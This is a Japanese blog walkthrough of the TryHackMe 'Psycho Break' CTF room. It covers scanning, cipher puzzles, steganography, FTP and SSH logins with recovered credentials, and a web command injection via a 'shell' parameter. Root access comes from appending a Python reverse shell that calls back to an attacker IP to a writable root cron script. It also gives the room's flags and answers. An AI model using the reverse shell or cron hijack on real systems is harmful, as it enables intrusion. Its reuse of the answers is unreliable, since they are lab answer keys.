0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Psycho Break:Walkthrough

Posted at

概要

TryHackMe「Psycho Break」のWalkthroughです。

Task1

Q2.How many ports are open?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A -p- 10.10.246.43 -oN nmap_result
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5a
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 44:2f:fb:3b:f3:95:c3:c6:df:31:d6:e0:9e:99:92:42 (RSA)
|   256 92:24:36:91:7a:db:62:d2:b9:bb:43:eb:58:9b:50:14 (ECDSA)
|_  256 34:04:df:13:54:21:8d:37:7f:f8:0a:65:93:47:75:d0 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome To Becon Mental Hospital

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp ProFTPD 1.3.5a
22 ssh OpenSSH 7.2p2
80 http Apache httpd 2.4.18

A.3

Q3.What is the operating system that runs on the target machine?

ポートスキャンの結果からOSも分かりました。

A.ubuntu

Task2

Q1.Key to the looker room

80番ポートにアクセスします。

index.jpg

ソースコードのコメントアウトから/sadistRoomパスを発見しました。

<!-- Sebastian sees a path through the darkness which leads to a room => /sadistRoom -->

sadist room.jpg

Locker Roomの鍵を発見できました。

get key to locker room.jpg

A.532219a04ab7a02b56faafbec1a4c1ea

Q2.Key to access the map

Locker Roomへのリンクが表示されました。

login locker room.jpg

キーを入力すると/lockerRoomへ遷移しました。

locker room.jpg

Tizmg_nv_zxxvhh_gl_gsv_nzk_kovzhvという文字列を得られました。

暗号の種類を調べるとアトバシュ暗号の可能性が出てきました。

cypher anal.jpg

試しにアトバシュ暗号の復号を試みると成功しました。

decrypt atbash cypher.jpg

A.Grant_me_access_to_the_map_please

Q3.The Keeper Key

マップページへのリンクがあるのでクリックすると鍵を求められました。

map php.jpg

先ほど復号した文字列を入力するとリンクが表示されました。

map list.jpg

/SafeHeaven配下のディレクトリスキャンをすると/SafeHeaven/keeperパスを発見しました。

$ gobuster dir -u http://10.10.244.67/SafeHeaven -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,js -t 100
/keeper               (Status: 301) [Size: 324] [--> http://10.10.244.67/SafeHeaven/keeper/]

keeper.jpg

Escape Keeperボタンをクリックすると新しいページに遷移しました。

螺旋階段.jpg

画像の場所をこたえるようなので画像検索するとSt. Augustine lighthouseだと分かりました。

got keeper key.jpg

A.48ee41458eb0b43bf82b986cecf3af01

Q4.What is the filename of the text file (without the file extension)

Hint.Escape from Laura to find it

/abandonedRoomにアクセスし、入手した48ee41458eb0b43bf82b986cecf3af01を入力します。

access abandoned room.jpg

Go Furtherボタンから新しいページに遷移します。

run run.jpg

ページソースのコメントアウトからshellが使用できそうだと推測しました。

<!-- There is something called "shell" on current page maybe that'll help you to get out of here !!!-->

herecomeslara.php?shell=lsのようなリクエストを送信するとディレクトリのファイルを表示できました。

shell.jpg

herecomeslara.php?shell=ls ..とすることで一つ上の階層のディレクトリも表示できました。

got hash.jpg

/abandonedRoom/680e89809965ec41e64dc7e447f175ab/にアクセスし、テキストファイルをZIPファイルを入手しました。

t1q4 hash dir.jpg

A.you_made_it

Task3

Q1.Who is locked up in the cell?

helpme.zipを取得します。

$ wget http://10.10.244.67/abandonedRoom/680e89809965ec41e64dc7e447f175ab/helpme.zip

解凍します。

$ unzip helpme.zip                         
Archive:  helpme.zip
  inflating: helpme.txt              
  inflating: Table.jpg

helpme.txtの内容から答えがわかりました。

helpme.txt
From Joseph,

Who ever sees this message "HELP Me". Ruvik locked me up in this cell. Get the key on the table and unlock this cell. I'll tell you what happened when I am out of 
this cell.

A.joseph

Q2.There is something weird with the .wav file. What does it say?

helpme.zipの中にあった、Table.jpgに目を付けます。
マジックナンバーからZIPファイルの可能性が高いです。

PK.jpg

拡張子をTable.zipにし、解凍するとkey.wavファイルを得られました。

$ unzip Table.zip 
Archive:  Table.zip
  inflating: Joseph_Oda.jpg          
  inflating: key.wav

key.wavファイルを開くとモールス信号になっています。
下記サイトでkey.wavファイルを解析すると、文字列が分かりました。

A.SHOWME

Q3.What is the FTP Username

Table.zipから得た、Joseph_Oda.jpgに注目します。
Password: SHOWMEでステガノグラフィーを解くと、テキストファイルを入手しました。

$ steghide extract -sf Joseph_Oda.jpg
Enter passphrase: 
wrote extracted data to "thankyou.txt".

thankyou.txtからFTPのクレデンシャル情報が分かりました。

thankyou.txt
From joseph,

Thank you so much for freeing me out of this cell. Ruvik is nor good, he told me that his going to kill sebastian and next would be me. You got to help 
Sebastian ... I think you might find Sebastian at the Victoriano Estate. This note I managed to grab from Ruvik might help you get inn to the Victoriano Estate. 
But for some reason there is my name listed on the note which I don't have a clue.

           --------------------------------------------
        //                                              \\
        ||      (NOTE) FTP Details                      ||
        ||      ==================                      ||
        ||                                              ||
        ||      USER : joseph                           ||
        ||      PASSWORD : intotheterror445             ||
        ||                                              ||
        \\                                              //
           --------------------------------------------


Good luck, Be carefull !!!

A.joseph

Q4.What is the FTP User Password

A.intotheterror445

Task4

Q1.The key used by the program

FTPにログインします。

$ ftp 10.10.244.67          
Connected to 10.10.244.67.
220 ProFTPD 1.3.5a Server (Debian) [::ffff:10.10.244.67]
Name (10.10.244.67:kali): joseph
331 Password required for joseph
Password: 
230 User joseph logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

2つのファイルを発見したのでダウンロードします。

ftp> ls
229 Entering Extended Passive Mode (|||44732|)
150 Opening ASCII mode data connection for file list
-rwxr-xr-x   1 joseph   joseph   11641688 Aug 13  2020 program
-rw-r--r--   1 joseph   joseph        974 Aug 13  2020 random.dic
ftp> prompt
Interactive mode off.
ftp> mget *

programを実行すると引数にワードが必要で、random.dicの名前を判定できそうです。

$ ./program 
[+] Usage

./program <word>
$ ./program james
james => Incorrect

引数を総当たりするコードを書きました。

brute.py
import subprocess

with open('random.dic') as f:
    for word in f:
        print(word.rstrip('\n'))
        w = word.rstrip('\n')
        result = subprocess.run(f"/home/kali/Psycho-Break/program {w}",shell=True)
        print(result)

実行するとkidmanが一致しました。

kidman
kidman => Correct

Well Done !!!
Decode This => 55 444 3 6 2 66 7777 7 2 7777 7777 9 666 777 3 444 7777 7777 666 7777 8 777 2 66 4 33

A.kidman

Q2.What do the crazy long numbers mean when there decrypted.

得られた数字がどの暗号か解析するとマルチタップを利用した暗号だと分かりました。

T4Q2 cypher analyz.jpg

暗号を復号し、文字列を特定できました。

sms dec.jpg

A.KIDMANSPASSWORDISSOSTRANGE

Task5

Q1.user.txt

Username: kidman,Password: KIDMANSPASSWORDISSOSTRANGEでSSHにログインします。

$ ssh kidman@10.10.51.240
kidman@evilwithin:~$

/home/kidman/user.txtからユーザーフラグを入手できました。

/home/kidman/user.txt
4C72A4EF8E6FED69C72B4D58431C4254

A.4C72A4EF8E6FED69C72B4D58431C4254

Q2.root.txt

Cronジョブを確認します。

$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

*/2 * * * * root python3 /var/.the_eye_of_ruvik.py

/var/.the_eye_of_ruvik.pyの内容を確認します。

/var/.the_eye_of_ruvik.py
#!/usr/bin/python3

import subprocess
import random

stuff = ["I am watching you.","No one can hide from me.","Ruvik ...","No one shall hide from me","No one can escape from me"]
sentence = "".join(random.sample(stuff,1))
subprocess.call("echo %s > /home/kidman/.the_eye.txt"%(sentence),shell=True)

/var/.the_eye_of_ruvik.pyの権限を確認すると編集権限があります。

$ ls -la /var/.the_eye_of_ruvik.py
-rwxr-xrw- 1 root root 300 Aug 14  2020 /var/.the_eye_of_ruvik.py

リバースシェルのコードを追加しました。

/var/.the_eye_of_ruvik.py
#!/usr/bin/python3

import subprocess
import random

stuff = ["I am watching you.","No one can hide from me.","Ruvik ...","No one shall hide from me","No one can escape from me"]
sentence = "".join(random.sample(stuff,1))
subprocess.call("echo %s > /home/kidman/.the_eye.txt"%(sentence),shell=True)

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.6.55.144",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("bash")

Netcatでリッスンしているとrootでシェルを張れました。

$ nc -lvnp 1234           
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.51.240] 49246
root@evilwithin:~# whoami
whoami
root

/root/root.txtからルートフラグを入手できます。

/root/root.txt
BA33BDF5B8A3BFC431322F7D13F3361E

A.BA33BDF5B8A3BFC431322F7D13F3361E

Q3.[Bonus] Defeat Ruvik

Hint.Delete user Ruvik account.

root権限を持っているのでそのままユーザーアカウントを削除します。

# userdel -r ruvik
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?